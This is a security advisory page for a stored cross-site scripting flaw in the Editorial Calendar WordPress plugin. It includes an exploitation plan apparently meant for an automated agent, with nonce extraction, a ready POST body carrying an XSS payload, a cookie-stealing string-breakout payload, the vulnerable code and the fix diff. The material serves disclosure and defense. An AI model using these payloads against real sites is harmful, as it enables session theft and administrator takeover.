Editorial Calendar <= 3.9.0 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Editorial Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.9.0What Changed in the Fix
Changes introduced in v3.9.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32361 Editorial Calendar <= 3.9.0 Stored XSS ## 1. Vulnerability Summary The **Editorial Calendar** plugin for WordPress is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to s…
Show full research plan
Exploitation Research Plan: CVE-2026-32361 Editorial Calendar <= 3.9.0 Stored XSS
1. Vulnerability Summary
The Editorial Calendar plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize post titles and contents during the saving process via AJAX and, crucially, fails to escape these values when rendering them dynamically in the calendar view using JavaScript.
A Contributor-level user can inject arbitrary JavaScript into a post title or content. When an Administrator (or any other user) views the Editorial Calendar page, the injected script executes in their browser context.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Actions:
edcal_savepostoredcal_changetitle. - Vulnerable Parameters:
titleandcontent. - Authentication: Authenticated, Contributor role or higher.
- Preconditions: The plugin must be active, and the attacker must have a valid session with at least Contributor privileges.
3. Code Flow
- Injection (Server-side):
- The user sends an AJAX request with action
edcal_saveposttoedcal.php. - The function
edcal_savepost()callscheck_ajax_referer('edcal-nonce', 'nonce')to verify the request. - The title and content are passed to
wp_insert_post()orwp_update_post(). While WordPress core does some filtering, it allows common HTML tags for most users and does not prevent the storage of XSS payloads in titles when handled via these AJAX endpoints if not explicitly sanitized by the plugin.
- The user sends an AJAX request with action
- Retrieval (Server-side):
- When any user loads the calendar,
edcal.jscalls theedcal_postsAJAX action. edcal_posts()inedcal.phpfetches posts and returns them as a JSON object.
- When any user loads the calendar,
- Execution (Client-side):
edcal.jsreceives the JSON data.- The function
getPostItems()(inedcal.js) iterates through the posts. - It constructs HTML strings by concatenating post properties:
var b = ... + post.title + ... - These strings are then injected into the DOM using jQuery methods like
.append()or.html(). - Because
post.titleis not escaped before concatenation, the browser executes the injected script.
4. Nonce Acquisition Strategy
The plugin uses a nonce named nonce with the action edcal-nonce. This nonce is localized into the page via wp_localize_script.
- Access Page: Navigate to the Editorial Calendar page:
/wp-admin/edit.php?page=cal. - Identify Variable: The plugin localizes data into a JavaScript object. Based on
edcal.phpandedcal.js, this is typically stored in theedcalL10nobject or a globaledcalconfiguration object. - Extraction:
- Use
browser_navigateto/wp-admin/edit.php?page=cal. - Use
browser_evalto retrieve the nonce:window.edcalL10n?.nonce || window.edcal?.nonce
(Note: In version 3.9.0, the localization variable is typically
edcalL10nand the key isnonce.) - Use
5. Exploitation Strategy
Step 1: Authentication and Nonce Extraction
- Log in as a Contributor.
- Navigate to
/wp-admin/edit.php?page=cal. - Extract the
noncefromedcalL10n.nonce.
Step 2: Inject Stored XSS Payload
Send an AJAX request to create/update a post with a malicious title.
- Tool:
http_request - Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=edcal_savepost &title=Test Post<img src=x onerror=alert(document.domain)> &content=XSS Payload &date=2025-10-10 &status=draft &time=10:00 &nonce=[EXTRACTED_NONCE]
Step 3: Trigger the XSS
- Log in as an Administrator (or switch session).
- Navigate to the Editorial Calendar:
/wp-admin/edit.php?page=cal. - The calendar will perform an AJAX call to fetch posts for October 2025.
- The malicious title will be rendered, and the
onerrorevent will trigger thealert.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Configuration: Ensure the "Editorial Calendar" plugin is installed and activated.
- Calendar State: No specific state is required, but navigating to a future date in the calendar ensures the malicious post doesn't clutter the current view during testing.
7. Expected Results
- The
edcal_savepostAJAX request should return a JSON object indicating success (usually containing the new post ID). - Upon navigating to the calendar as Admin, a JavaScript alert box showing the document domain should appear.
- In a real-world scenario, the payload would be replaced with a script to exfiltrate the Administrator's session cookies or create a new administrator account.
8. Verification Steps
- Database Check: Use WP-CLI to verify the post title is stored with the payload:
wp post list --post_type=post --format=csv | grep "img src=x" - DOM Check: In the browser (while on the calendar page), inspect the HTML of the calendar cells to see the raw
<img>tag inside the post item container:browser_eval("document.querySelector('.posttitle').innerHTML")
9. Alternative Approaches
If edcal_savepost is strictly monitored, use edcal_changetitle:
- Action:
edcal_changetitle - Params:
id=[POST_ID],title=[PAYLOAD],nonce=[NONCE] - Precondition: Requires an existing post ID (can be created via standard WordPress UI or
edcal_savepostfirst).
If edcalL10n is not found, check for the nonce in the raw HTML:
- Search for
edcal-noncein the response body of the calendar page.
Summary
The Editorial Calendar plugin is vulnerable to Stored Cross-Site Scripting because it fails to sanitize post titles and contents during AJAX saving operations and fails to escape these values when rendering them within the calendar view, particularly inside JavaScript-generated event handlers. Authenticated attackers with Contributor-level access or higher can inject malicious scripts into post titles that execute in the context of other users, such as Administrators, viewing the calendar.
Vulnerable Code
// edcal.js line 1916 (v3.9.0) '<a href="' + post.dellink + '" onclick="return edcal.confirmDelete(\'' + post.title + "');\">" + edcal.str_del + "</a> | " + --- // edcal.min.js (v3.9.0) // Snippet from getPostItemString logic: +a.slugs+'"><div class="postlink "><span>'+b+'</span></div><div class="postactions"><a href="'+a.editlink+'">'+edcal.str_edit+'</a> | <a href="#" onclick="edcal.editPost('+a.id+'); return false;">'+edcal.str_quick_edit+'</a> | <a href="'+a.dellink+'" onclick="return edcal.confirmDelete(\''+a.title+"');\">"+edcal.str_del+'</a> | <a href="'+a.permalink+'">'+edcal.str_view+"</a></div></li>"
Security Fix
@@ -1916,7 +1916,7 @@ '<a href="' + post.dellink + '" onclick="return edcal.confirmDelete(\'' + - post.title + + post.title.replace(/[^a-zA-Z0-9\s]/g, '') + "');\">" + edcal.str_del + "</a> | " +
Exploit Outline
1. Authenticate to the WordPress site as a user with at least Contributor privileges (the 'edit_posts' capability). 2. Navigate to the Editorial Calendar page (/wp-admin/edit.php?page=cal) to extract the security nonce from the localized 'edcalL10n' or 'edcal' JavaScript object. 3. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the 'edcal_savepost' or 'edcal_changetitle' action, including the extracted nonce. 4. Set the 'title' parameter to a malicious XSS payload. For the specific vulnerability in the 'confirmDelete' handler, a payload like "\');alert(document.cookie);//" would work to break out of the JavaScript string context. 5. When an Administrator logs in and views the Editorial Calendar, the plugin fetches the malicious post and renders it. If the Administrator interacts with the post (e.g., hovering or attempting to delete), the injected script will execute in their session context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.